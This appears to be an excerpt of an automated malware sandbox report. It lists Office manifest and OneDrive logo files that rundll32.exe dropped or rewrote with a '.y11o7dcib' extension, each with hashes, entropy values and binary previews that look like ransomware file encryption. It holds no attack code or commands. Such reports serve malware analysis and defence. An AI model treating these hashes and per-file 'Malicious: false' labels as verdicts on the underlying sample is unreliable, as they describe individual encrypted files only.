SHA-256:	AA33AE25DC4CC778467ECC5BC9C4C3002D62C1F8918864F0F8BF8F19EA1F3725
SHA-512:	49522CB40ED586536DC033B1DE7ED1AE37F96556570F89658D356CC99B47863FD62E766DFE63ADE804D9FD4D5380582A9ACF3722BA86ED269EF2F48FEC9FB5EF
Malicious:	false
Preview:	..ya.R....k..n....p......L... .+.....l.#...:.[.K.(Qc.2X.....}:.rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c.W.<1C.DD.?..d...w....S...$........e.'...$.Y.^.x..D{Z.....nz.om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher=".t..$@....j._....}.A......X.}..'...../A2..1.[.P.~..M/..@..*d.-012A-0000-0000-0000000FF1CE" appv:VersionId="f8fb15ce-0677-4345-a083-0f2aa248c79c" />.. <Properties>.. <DisplayName>Microso.N..'U....?.&...~........c.e..5....G~.6..x.V.B.x.4.@\.....~h.PublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescription.t.}%V....~..f....f......^......y....El.6..h.S.O.v.o$...Q..j$.:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <.H./$B....z..7..F.2.@....Q...6..g.....".

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-012B-0409-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.620050466281451
Encrypted:	false
SSDEEP:	24:uJoOAkfXlJXSOX6kDTGgY1++KCbyOfxnjOwXXO94BOwtaohDi779nM6pCztmxq+a:KXfLvfYodKyAjJ3BfBh679do4S
MD5:	499E1EEFF640B1CF0681B44E2743B32F
SHA1:	1319FD62CE9A14A44D9B5A482A157D263079CD2E
SHA-256:	79EDA9E7424296E7AE1D0A7374B0B8AC353664E3111A15D8671D4D5397BF6343
SHA-512:	B45C2BDF90D4FA1501912D0750518F1D215BF73C905BE78AC45BE59403B9B0C65ACBACA93CAB97F51A9A542DBFDF28FB41BC67A54EF466FD529442C3693F6252
Malicious:	false
Preview:	.%..vD....7....f.....o...YS...`3.Y=.le...#7.=;.yO.n.....`.E;.-f.EQCk...."Q1...6.....Y3D..HFA..`r.D'.~(..yv.sd.l.O1...fu.c/.$`.DRK.....}.bT..y......vF..U\...#"._v.ea...").?#.b.Yr....`e.j(.!{..\VU.U..c.}..}.....Wz...K...Q4cS.v.ea...").?#.b.Yr....`e.j(.!{..\VU.U..c.}..}.....Wz...K...Q4cS.v.ea...").?#.b.Yr....`e.j(.!{..\VU.U..c.}..}.....I.n..y..O6;.Pk.lx..._c.99.j..\|....fe.i..`W..oCV....6.r3.g.....F4J....H..l`M.x./5..{<.=(.n.O....C?'.<l.r9...d..N....bU..$....GD"..}.P.Q2$G...~\|..i;.hs.k..h...C9%.8j.!9......H..6Vd..%....z.D.hB..D0&.L8......-:.58.c.S....DB..~3.-r..r@C....c.nJ..g......o..2.P..~..K'.~}..du.0.A.G9....jd.i8.mD.EQOV....;C"..Z.....}"D..t..B0;.]".c+..ht.9/. :O/....{..bb.H4....i.....U!..q......>K..__N.+br].w.}e...}v...d.M9....}..x5.,.H.B@...."D;...q......>K..HFJ.Q2.-H(.lr..~e.5;.f.Db...Z/6.m,.4..WMpl...1u*...f......r...H@&.O. .J..y+..-:..9...X(...D...,`.'g.ROE@.D.r.rE..q......"(.._E..D.p.Gf.~7......\|w.].Y3....\|(..\|.~D.BOCT....&U![..4....$O...]B..N,lK.y."Z

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-3101-0000-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2515
Entropy (8bit):	7.742612692847276
Encrypted:	false
SSDEEP:	48:k97q4NSmeKFqaZ8ZhgMiVaXZgNPy5Z9nvNtDBsGL3VDAgqGiS:INSeqauhg/YZg4nv/DBLsSiS
MD5:	E2C6FF39C6B58E5360B81912F6B23A4E
SHA1:	DCB65F592ED2C4E74056EA45A0CA2CBEBA414865
SHA-256:	E8D04C986BE68AE76B9A0E666233664D478D6569A4A5A348B62F3D975CD0913B
SHA-512:	AEB5AC92E271EFB4F8DE0D623175655C410D03AEACF463F8288343E7C7FE12ED6DBC5F00AC400A94F305D0E17B8294E1BFB6FD3DB416A40122EA3C1F9ABA627F
Malicious:	false
Preview:	p`..,.j..^......m..Z\|n5...:..Y.LTl......r..\|......q..Y.`.V.E....M..=h..J....=..Fo.z.Q.:....CT-...O...lM.=.]..P:EO..}.C.c...L..\h..AC....r.._.E'.S.2..R.K.}..B...t..bY....Y,.C..b.S.j...........]....v..Em.t...$..]...<..B...t..bY....Y,.C..b.S.j...........]....v..Em.t...$..]...<..B...t..bY....Y,.C..b.S.j...........]....v..Em.j.{.j.X...d.._o..9..(Y....\}.~..\|.S.i........l..\.....l..X$.e._.d....FX?..L..tI.wz...._:aJD.)...<......M^9...A..../..).d.7........{...S..jp.p....];KJT.!.D.8......I^o...U..'...6.Y.Q.v..S...y......$..qn....Y&fO....I.~.........`...].....l..W`n5...G....QJ]...H..v}.>Z....Y2M.+.c.R.i....M...a..}.....Q..S'-^.Q.j.Y...d...N...aJ.?\...\|:[M..`.I.b......@?f...>...z..\iE3.^.%....{V-..C@..>x.=\|"...Y8Mj..s.I.x.....@...z..P.....z..SkE0.^.:......[...J..@\..X....W1.#s.0...m..._.:g..V.....m...6A$......j..&...:Y......q."...]-\G.....,....Z...z..3L....z..CkC1.=.$..]..K/..RT...+..G.R...],G[..u........J...\|..P...?...%o.......O...3..M...

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-3102-0000-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3440
Entropy (8bit):	7.8341305639123355
Encrypted:	false
SSDEEP:	96:KId9EPOk0xZRym/GMh+FaJ+EXQyojDs3NS:KId90Ok0xZ3/GMh+FaJ+EAyojIdS
MD5:	B2DD78357216A59026C1749B9084DF47
SHA1:	0577D0E608E64EFE52FB14C7BDE23161D22B5B23
SHA-256:	A81FABA9E095F879B8CA07750874FC46BF51899AC9EF0D1737A9A957EE89FAFF
SHA-512:	89F45971456281EEE59EA69E218385A91263D8F7EB383DF96F64E0065831DF823188EF176528291E3151CE6DA0C863E150ED3A98C378C63906FF7A45A081F87C
Malicious:	false
Preview:	....>...@.I..D.~..;.;av....)..r.X....Y2......mP]...v..X..&w....P.....D.\..F.,..).(.9...<+.}....0...`....4..nE.U..%..A...c....Q.....Q......>..7.8Jd....&t.u.I..a..]6...}..xK.C.?..G...d.............N...)<..7....p{.?...a..]6...}..xK.C.?..G...d.............N...)<..7....p{.?...a..]6...}..xK.C.?..G...d.............N...)<..).....~.!.P..\|..D'....}..kC...#..A...b.........W.H..u.c.&6.c.&...\|".x....o...#....^..vG.U..k....._ .....\._........<..i.n.'....h:.?.O..9..@-....,.%E.S..{.....[s.....^.^......F.r.}{.q......8u..M../..#b...J..mJ.I..;..e..............D......x.?5.'av....j:.o.i..0..A'....~..dh.].....M...t...P.....S.E..O.h..4.`".......,.P..5........x..!.(U..$..\.........R...N.~..F.g.+w..Jp....%$.E...`..Y4...X..~M.W..3.Z...y....].....S.\..L.1.!-.,Js....< .?.o..?..N'....\|..iO.^..\......`....B.8...S.O..W.e.:<.qNg....:L.!.K......O...!..rV.B..3..%..O,....G.....,......C.<6.,Lr....?{.....q...b......2t.C..$..[..e0...W.....R.X......oy.b`D....8i. ...n..f

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.common.16.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	2015220
Entropy (8bit):	5.267724770429373
Encrypted:	false
SSDEEP:	6144:aZvLLQIhUe99OsMdIzc/ytZpza2WdzOR7iYqC+XFMBWKN5yQWwfOhCqePeNQPjsr:ahLbrP2AQnu7XBT6
MD5:	94CB8C18B2E43F817DFB614380F61FC7
SHA1:	0A3C4C7A8C62F1EF83600487B907A13A8517EC7C
SHA-256:	F613983CBE2D1FFEB3A9ABA9A42E1C870391B2D6F03C3F4D8072D3917CC857A3
SHA-512:	D73869124D52DBAC2148EFE4930021CE273FA5B381E1B70416984FDA6F5BC607A9169FFD1AFE1EB04EC207C7A7A3356E26D32AF100B9EF7F0E39E36CFFC5C459
Malicious:	false
Preview:	..c6.4}...@....@..ou.....S+x.......w.M&!...v..q......;.p.f.vp.p.v. .a.p.p.v.1...1. .a.p.p.v.1...2.". .a.p.p.v.:.I.g.n.o.r.a.b.l.e.N.a.m.e.s.p.a.c.e.s.=.".a.p.p.v.1...1. .a.p.p.v.1...2.". ...26.4r........@..;uF..Skx.......w.M4!...v..b......;.p...f.vc.o.m./.a.p.p.x./.2.0.1.0./.m.a.n.i.f.e.s.t.". .x.m.l.n.s.:.a.p.p.v.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m.F.>6.4l........@..u.....S*x.......w.Mg!..v..o.....;.p...f.v..1.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.a.p.p.v./.2.0.1.3./.m.a.n.i.f.e.s.t.". .x.m.l.n.s.:.a.p.p.v.1.G.m6.4>..._....@.`u.....S,x......@w.M.!..v..r......;Dp...f.v/.a.p.p.v./.2.0.1.4./.m.a.n.i.f.e.s.t.".>..... . .<.I.d.e.n.t.i.t.y. .N.a.m.e.=.".R.e.s.e.r.v.e.d.". .P.u.b.l.i.s.h.e.r.=.".C.N.T..6.4o...Y....@..mu.....S6x......Sw.Mv!...v../....;Xp.f.v0.1.3.0.". .a.p.p.v.:.P.a.c.k.a.g.e.I.d.=.".9.A.C.0.8.E.9.9.-.2.3.0.B.-.4.7.e.8.-.9.7.2.1.-.4.5.7.7.B.7.F.1.2.4.E.A.". .a.p.p.v.S..6.4n...B....@..+u...S.x.......-w.M

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifestLoc.16.en-us.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9404
Entropy (8bit):	6.779208590473303
Encrypted:	false
SSDEEP:	192:EbLSTONikXzyaX6eshEhFaxrdZ1YsBxzq75wawZcZXsv4a9xVReryfS:YlLaxrdZ1PpqmzZcyvxxVRW
MD5:	F44A0F88E604EB2A9E26F6C81F3A15DB
SHA1:	8C056D6C5D67E0FC5AF27C97EAF6E1D034109A67
SHA-256:	2620F674DA06446C95B3AE28B146169A065197149D98FAAED2DFF1566176D87F
SHA-512:	D37F5D1CD915011485A1FF73DA9E7A24372A8C6CFF124E2EEA5FC6C4332857123D7C28686BAB683C2716759A7A34664B8E62F0208FA40BEB891EAC13C4A34AF5
Malicious:	false
Preview:	)E.g.Za...;.O..._%T...YJ..%VD..5.....8.........d.F..B.Go...=d\.ath="//appv:ShellCommand//appv:FriendlyName[text()='&Edit']">&Edit</String>.. <String Id="WW_Shell_Verb_New" xpath="//aet.-..e...1.V....f\....c.MM2.U.(.....}(.....+q.d...P.....$.A.</String>.. <String Id="WW_Shell_Verb_Open" xpath="//appv:ShellCommand//appv:FriendlyName[text()='&Open']">&Open</Strinr:...7<...7.\....kj...X@.Hw..K.9....5k...B....d!.Z..O0.....i~w.ellCommand//appv:FriendlyName[text()='Open as Read-Only'] ">Open as Read-Only</String>.. <String Id="WW_Shell_Verb_Print" xpath(&.8.gp...6.W...S$\...D.T^f"K......:y=..R...o<....W6uB..Bd.@&Print</String>.. <String Id="WW_Shell_Verb_PrintTo" xpath="//appv:ShellCommand//appv:FriendlyName[text()='Print &To'] 7:.e.yt..3......I...W....\|Xj......=\|m..q....*m.\|..ERvX...g4E.h="//appv:ShellCommand//appv:FriendlyName[text()='S&how'] ">S&how</String>.. <String Id="WW_Shell_Verb_Design" xpath="/:e.g.-S...2.T...P-....@S.bZ5.W...$...C$.

C:\Program Files (x86)\microsoft office\PackageManifests\AuthoredExtensions.16.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	687
Entropy (8bit):	7.1751512624006635
Encrypted:	false
SSDEEP:	12:gHObiy6vm9tF2q+EnztlkDz2KnAK7W6OG5f8LZS:vb6vm97AwJlUnfWTG5f8tS
MD5:	FDE1A203782F2DB3DB19B2C5FAFC9846
SHA1:	57164BE04AB3C30918E6B657676652B02C0D32CA
SHA-256:	0A3BC812A11B25B9E4B87E991B10FEE7FE767ECFAE2EF9BDA66B217492FF1889
SHA-512:	B55334AC3C4D63815965B92D91AF08C8D47950DAC3672C8F7F028EE57C107A4E13856B4710C75C668A2FB6A93ADB4DE764A54AB70B663668BC9F5279C1C14A6A
Malicious:	false
Preview:	.=...t..n...e.......v...?K.y.....2GC..u.......A.2..QY..=..V\.'.Y4..58..e...~...{..d~.{....(+..z...."..e....LvU..w..pK.\|A.h.vh{z ........_...,T.b....a...n.....C.... ..S>s..~..C....H$..tvVLa...%...x....Z.j...H:.h....".....9Utl).q..AO.zO.y..:..n...~...:_..qZ......}..........L.C.{..SmH.....RVariables>.. </appv:Extension>..</appv:Extensions>........c.m.oy)..Mg.+...r..w.."p{.d.w.[..E.0...-..'..r.....M..=....8Y..c....,....A9.....Q[...M.^....2xLb....q#.H]).&........(..w0...`..L...[B...?\|C..M.z/J<.BT...>.A.k.@....+6^.I...V..Fv...."+Z.....O$c....[...................................................................................@.........29yp10v5m8k.

C:\Program Files (x86)\microsoft office\ThinAppXManifest.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	SVr3 curses screen image, big-endian
Category:	dropped
Size (bytes):	4925
Entropy (8bit):	7.863738980362622
Encrypted:	false
SSDEEP:	96:nj2KNgYhAAEli1KRazGhTMoDNAG8eJ1XWNhlkQyvGLiQsSXjWYS8KouzAHOiDZsS:yGKAUiVzGVMGNAGHLmhlrCGLiQlsnxAR
MD5:	FE95F9CC8FEB897B0CFAEB79794420A6
SHA1:	FBAE326C5540EF4248F73E3D5D485C5589EE17A3
SHA-256:	40D517D4E9CEC7D3C50AD877A0444447276C1B8669CA70641DCADA3F1A4B3F93
SHA-512:	456721E8672BF627C5497B97636F5B92796D90A576411E033F6A19FC1E533C999EF8BDB05528E4B43B0BD7F8605DFF49F9FD1DDDDC8BF30CF31E7CE60409C044
Malicious:	false
Preview:	..a......\.._...9.......!#....U@9..F.-.."..E,.@..LI.MZ$.3...y.Q)N.....v........J....4w...>]]#V..C3.c.../.....OPC1........R!/...A.%.....:....[...(...nUFr..B.+..<.]9.......OE!....d..\<p..R_.:..^...(.......x'.P./..r..B.+..<.]9.......OE!....d..\<p..R_.:..^...(.......x'.P./..r..B.+..<.]9.......OE!....d..\<p..R_.:..^...(..v.rP.&#.T.j\..Y.S\y..`..C9.S.....TY:....E..X?e...L.C..C....~..U.U].zt.........W.+..C..^=...SKX\|ib.?...9...a4...OW.'...O..k..I.>-.b'.P.$sU=K.Y....1...o.I..CPQy...H...I..xa6...SX.T.u.Z..Q..G....'4.I.m.=E1..%2....{=.......RY=....m.Xl1...&..e..I....b..r.G<. .S.{Wt&K.Z.".~..g9.....].z'.....n.T?p...,..p.:.q..9.......-(.r.m@B9]..N...p.E(....cch4......n.O:e.....).._....V..G....x..P.NDS$Y.S%>.a.A5.....I.XY1.....d..X"t...R.t..F.9..........#.C.wUD&W..lQ../..E*.0.8 .mX=.?.....Xp/...T.e..y.(.?....vf.~i.R.n@B;Q.E_V../.F3.....Wl7#[.(...~.XlL.....p.U.U.~..v.rP..#.O.lFU<..<hg.v.D)....._0 [.F...b.X>s..\X.'...5.........OL.).Qv}.@.S.(.

C:\Program Files (x86)\microsoft office\root\c2rx.sccd.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15621
Entropy (8bit):	7.16577527453565
Encrypted:	false
SSDEEP:	384:q1F8F4mkixgWtqR/RiBP7f/uJMjgUaW+JP9ssM0dUFviyfsojeP:q1F4EiKWt1BP7nu+jgUapJOsJmFviPoy
MD5:	9936F2AF6331F85873918BE59F58404D
SHA1:	4896F60D3EF287955498033379A149D2D9C40CDC
SHA-256:	3C1E42AB1245A016658D178C5AF7BCE33413F394E36E7A2CAA2FA2A4DFE12D13
SHA-512:	4333A0F31667D35742FD7BA9027A16FA13AABEC958CA10A6E49BB459F77D5E1FC9EBF547BA00A4DAB1DB8E10CAED10F7DD468532329C5B68D6506F4A8FA6909F
Malicious:	false
Preview:	$...gv.....A..9.l.6...k4....2.i....1R?..`.J.}1......ed..[d.:.tor xmlns="http://schemas.microsoft.com/appx/2016/sccd" xmlns:s="http://schemas.microsoft.com/appx/2016/sccd">...<CustomCapabilil..5[...D+.\.ce.=.w...m$.....".-....`,ZS.;.R.c.......\|m..w?.6.yb3d8bbwe"/>....<CustomCapability Name="Microsoft.classicAppCompatElevated_8wekyb3d8bbwe"/>...</CustomCapabilities>...<Authorize\|..b"..Fe.&.0I.(.y...a4....>.N....l4TR.S.S.\|.......x~..[h.'.Office.C2RX_8wekyb3d8bbwe" CertificateSignatureHash="279cd652c4e252bfbe5217ac722205d7729ba409148cfa9e6d9e5b1cb94eaff1"/>....<Autp..q3.....V.Mx...u...a.......b...f<GZ.z.J._.......CE.._b.*.3d8bbwe" CertificateSignatureHash="b116c36fa11678efb3bbf1fb1ef99b6b5ca9a85ba290736c6ced9fb0cea2cb01"/>...</AuthorizedEntities>.......7..F%.f.nY...y...r3....(.F....L.YZ.T'{.T.......zz..yJ...EFADCCARAGCSsGAQQBgjcKAaCCAQEwgf4wDAYKKwYBBAGCNwwBAQQQvlDSv13nQkWnWYx6y6RRbBcNMjEwNDE1MDczNDAxWjAOBgorBgEEAYI3DAEDBQAwgbwwgY0EIJR...?g......@._e.%.9..i7.....$.@....$.~

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveMedTile.contrast-black_scale-100.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.669067297501721
Encrypted:	false
SSDEEP:	24:SxFU6lsaH0ZZQ4zxLjULjVrR7+6MED7kAL0433st2/NijfWoQxd+ajNARafj6Acj:Sk6ls6WtcvVr8ED7kAL04Hy2VijfWoQQ
MD5:	D1AC7334117B6D5948B29CB0519733F4
SHA1:	7B936C635E3198169AD8243FD67D649E1F32437B
SHA-256:	60AD454608223360F79A08F35FAF6E5E6C85D31E0F08FA8F52460A871893F4DF
SHA-512:	474C45758414B45A88C5F937082F310285132C4E7156B058752B7F9B5BF1723390F728EF08FE8D6537AC49B0DCB1A134354F4CFB2005A0CA28D2F53827E5CAB5
Malicious:	false
Preview:	...n.xe..G...ny.;.)C..... ..$%.4...54Mz.KQBOF1 C..$#VvJ..g.<.hV...N...X^..rE../^.Yy..6..5..t.. ym..Y'.#.1+f..'...^.....).N"1...(..S&!aR..s...A...".-.@...63...g)P..>F.ipDf...C.Sa...<u.....~f..W..~.E.....,9\|..x..X...$.g)".z..~.+:pD....C../.....\........QW.......n+.{).!k...).=...0.2...F.)..I7`.....]...k.L..0..iq)&.....K..@.L...g@...\|.=......A..h...P .8_..e.......@...L....axE.S..e.4]7.....2r'd>..=.&..C+...s.r....~.P..X?.f.!1.K.#.qh.v7.....%..\......X:.12.."......w`....0..".I..`......4..j.1x....r.I....O.~......B...#.]...x.2.k<l..(.;%.Ys.W...s.2z...l..#..zedw7F.E.\..N_.Q..i..Nu?U.H.....$}.....%.j.i....q....D.mP....keA......}.H.s....yu.(9...I...J...U....k..V.. ..!K04..].....................NhB[..Q.........Z.p..:....u...9*.u...x.....A..2.... ..k.........B..0.....EM +6w...bh..(.. ....!....=....8N X.W&.....0..r<k?.v.q~.d...G6....G.....\|..s.>.....d...Tv.......U.x........z..#mU$.a(~..'......Nc..Em.....1}.A...7...V.....s"``B..\...].i.t.XL."...6

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveMedTile.contrast-black_scale-125.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1857
Entropy (8bit):	7.758804553346595
Encrypted:	false
SSDEEP:	48:Aum0FELGX7Pcu9CE3a/SLpdc7ccxz5ic1S:moPXAGCEJFmzpwc1S
MD5:	1B8E5F2A75D7628AB4C99FB727C4B3DE
SHA1:	14D905B32637ED57ED2DF22C319B12F8C2920277
SHA-256:	E6CD3A5914180512A7D37E4C01CECC70C676235548439D3FCFB9D98EC0D1482D
SHA-512:	136EDF7010C2C7B9CD28A6C8E1C1B65726E6A82D7EE6E9AFD295ADDA03E0ABCA3B3DF0EFD6DA94C6B8D65D563C68B883A3E75215ACE83580CC8A25CD9C762673
Malicious:	false
Preview:	].MM..p..-0...:..q..RN.@]'.=...-....d...'.Rk{..I.O{.........r...z..dy"..}.%d...Jr.7.".........%X^.DGax/.]+y.%.I.c.&.?......d...rc.m..B..g..<....9.G..&...q.X.VrD.p._....^.........[:.W...6...ut....M..$..O.>....}_....)?..b.,.D.E...H=I=.a....#T8.l...?.....c.."...>.k..\|...f%7...."2yQ.m.g..]...1.8.e.+anL...& 2.....[..%.".$..........2.c..1rK.....4.U..b..8.;wNZ..>.B.q..Z?<E,...9......W.~...f.9.P$.....@..Q..6...&#.%....... &.1.@.d.lli~.~...Y...u.4...2. ...[.e....}........cb......h...eC_.r.h><}\|M..r.A".q..[C..s.....A....&.i..Vm.._......7......z.X..#1.?Y5...Y..w..^.tp.f.q?d....!.......c.<..U$m#Cc.YnI.tf.z`.........G.\hg...+Z._. .".-.....4(..bd{@..J.MQ;4...Z...t....<~B. 7.CE..iq..w.?.+..;s?(R....... .t...`...{..........+...e.`.[q......Uj.........h._*...a..".....y.d......<h..D...j...V7..o.......[....$~.cHi..,..c...I$j\`.B.8.2K;k.."...a....f...v.ol?.w....]..s...D\|%...[.Z....i.%...\|W<N......Y..K..:.z.r.oG/.....88?R#/.7;bh.Y..J.n!...'..#a.38.A..@....f.

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveMedTile.contrast-black_scale-150.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2443
Entropy (8bit):	7.811554435352055
Encrypted:	false
SSDEEP:	48:HxTKseOa2vxXJSL1I89JlTYwRAofL0LuZQb0e5EQTfhfdS:HxR5XJSL1NPlTJOofLsuc0MLRdS
MD5:	BE87F774A2D1402A463AE16DC4342E5F
SHA1:	3AAEBD35C2812922E197602A8243056AFE864103
SHA-256:	FAFF1DF04ABBB2699166845F7C67BEA0817B868F41301FD93378D291CB124E0B
SHA-512:	D1ED52823FBB97BC6BF40ECD0EC02DD16C16EAA1B75EA6072C073D5ECD19CFC65906ECBCD84D7F8E14E2B0E9BB5FD818C33C85B9FFFDC152B95F392278C728FC
Malicious:	false
Preview:	g.>.y&.,...................7^b...i.hV..MnH..(.j....}..3Xz7.......&.........z.E.ak.$):..........:u......w.K.v....u...Mo.w).\z.}.......X.{.Q..w0.K..9........;`iZ7..L./..Z.V...`.J....Q.U(.6...H..Mk.~..3..b..Y.......Q...%i.;.}....j.......F.]F..x.\|-8").B....:.?#...F..R.)..Z...x.%O.xQ/;;[..;.......QR+...G`.6<[f.[..y.A...;(.1....`..z.~K[.."._.aT.D.42B..`......F../.=[m....~....!Z...<.5\|.Z...F....\.....'+...Ew...........,.......[.U.'JS.5.....%....H..Jro.^@...QQ.f-}.?.X..4'S+...$`X...K..Ck._...U.<om.=I.$3..z.}=:t.{.>.^...#..!...N....A..?...dYL.%M.......i.......se..`o\|..&o...s...........B....=Hg.`....i.1-.Q.....A[z....Kw.m..X..<o!Q%.d.MF..-..iK...Ym.3.....$.Q...].._.t.}W.LK..}.....".w.5.cLnl.N...;X.5.[.;...9..l-.QX.Q..4..D\...yV..].T7...<.Lo.i_d.....h..B.6.K..s.G/@.x.4.M._A..AE.._M...-.H.../qqP.6d.l...j.9@.m.....]XOCOmw..L\|.Y}H.+WY.m=].I..E...rJ.wNo.zBg4........l.....?u.6....M.s..[.pf.. +q...z%H.b.:...K..........S...\|..xA..A(.UE...,..

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveMedTile.contrast-black_scale-200.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3066
Entropy (8bit):	7.859412720026654
Encrypted:	false
SSDEEP:	48:spm7tAiXZXuKTrrg1D4dRk2LPVWhz89tGW4k4a1Mqlvs0ak5a7VLioAR+rZS:sp8CHKT/wD8oWVnlUOOLOR+tS
MD5:	BA2AEBFB799917464DBAA1F5726F717B
SHA1:	C3BF3C7D223533CB1E5C41F140934EF450823B2D
SHA-256:	981F935D608A3604F488F914D0F5F2B78148A3B59020667DA17C1A0377FD1E96
SHA-512:	65A487D19A03CB6C4AEC5400450F5248F18366115CF445DBC2B91E3B648F4C700B050A3481AF77C5A55F902B43DD9A33DA5B2042909BDB924515077259C458AD
Malicious:	false
Preview:	.....C.(J..))a...Q.O.....Nm..F..y5o..S.LS.7q.^yK...^..._..}.g./..Fl.Y."(..!5].z ....Dm.Q...-..E{vs.3......j..A..k.J...lu..D.."r...I+.Y...j...!/......xF(.@\|.....G<mF&..\|J..(\jo.................O....$.}0.....F.F{....YmvV....\.K..t.......$Q..7.>.z%....)B..8a.....N...\|.@KM .J..o.....G<mF..\|J..dko....x............O....$.........F{....YmvV....\.K..t.......$...7.>......)..8a.....N..D.@KM ....o...5..G<mF..\|J..dko.:..x...k"....64..\.,...I".F.....=)....g.{..X..D[...n.=.....g..k..Q8t.&..^..d.2z..m...\|)...l...\|1...nh.mT.$..K~:`..Dz(w...Y.=.d.5.".>...?.g.F..,.Z.9......f..I.......w...b.j..]F.v.0:.dZk..-..."4.)..G.g....UA.}....c]6.MV...m'..#..S&.7...y\EXMEm.J"G..3.y.\|...I_.....2.U.OM.gr.7..J....l..EmCe.@..........$6.:.{P.......z....1S.i......A....H...}..arv:.^..hfZ.2#..zT!xhU.`%..........O.A..?.u2.Q...5.R..+...`.X.....$....Q..\|.....4J41...............2.)......".......KK...h.<.&.2O.3...^.....S.....a..VD..i..e..D..g2.+. .<.k.'D...3.Z[RyO.

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveMedTile.contrast-black_scale-400.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6925
Entropy (8bit):	7.59303134915743
Encrypted:	false
SSDEEP:	96:TrIWI+99e2ytx3ZoQLJKnvTDtkwVIPauNQyuVsokPuLM0cPdO2E5jP4S:TkWLWx3Z9LmicXVstr0cPKZQS
MD5:	5836419B77FFE850420A6A759426C03E
SHA1:	EDD7BBE6D2810D91EFA5A7945F6CE3D52F3AF172
SHA-256:	F859E13752327BB7302A7C47BEE570385CC4392DB16ADA62C23BEC0F91ABD083
SHA-512:	1DD6137DEFAB606A707FA29BB81295FE3A8F80028C74D8725BC429E98D2D52178E1282A013260753F71BA533B28944CEB8F7825EFC93584FF62232055C6B107B
Malicious:	false
Preview:	.....Z...1...f.....=.....c...).....Z.......}8X.!.......iw{.).dyq.e<...uIDATx...U.[....-.+x.....P0T......b.b....U`.`.....Y.<e...L>.srx...$x..;s...........C.. ..........@`...,..........X....P.......B4..U.H}..Y..c..^.1....Y..R....<.=.da..T..h...`..........X......... ..........@`...,..........X......... ..........@`...,..........X...,..... ..........@`...,..........X...,.....7.P...1....B....H=..YA>a....} ...+.p...s..H6. ...s.....s....X...,..... ....X.....@`.. ...........X...,..... ....X.....@`.. ..........@`...,..... ....X.....@`.. ..........@`...,..... ........P..1'j.F&....J=.X..O.........v.P...#..j..`s..5...Hp..D...........X......... ..........@`...,..........X......... ..........@`...,..........X......... ..........@`...,..........X......&..9P...1...Fb...d=..O.~...K..u......P.[.c...J?.`7..W......./...X...,..... ..........@`...,..........X...,..... ....X.....@`...,..........X...,..... ....X.....@`...,..........X...,..... ........[...0..]F"...U.?.....k..[W.u,[..>.P

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveMedTile.contrast-white_scale-100.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3015
Entropy (8bit):	7.856306767214055
Encrypted:	false
SSDEEP:	48:139IEby9t4lJn0LFD/gdIeCcutcUDy44DkJo4B96kRAU2eegTO5HUQdMmL1C3MSS:J9Iv9t6JDqe7uCU241m4Oad5JOdT1C38
MD5:	92C70A8BEA05BD14CEFB1C2738A501DC
SHA1:	8A92767146D9F244D1E578407A4C927E82CEF9F2
SHA-256:	51AE6D7944004005B3DC107E1C902FD1BE86BF67300C09A663A2F8D202BCE58C
SHA-512:	E6215C1CEBDE3082BE55E6B49D83A8ADB06862E842B0FE62487EE68E709D1DD0956EE86F8FBB1087E3E936437F001772BBEB8F0A010DD1F47D10D46D93B6E8A3
Malicious:	false
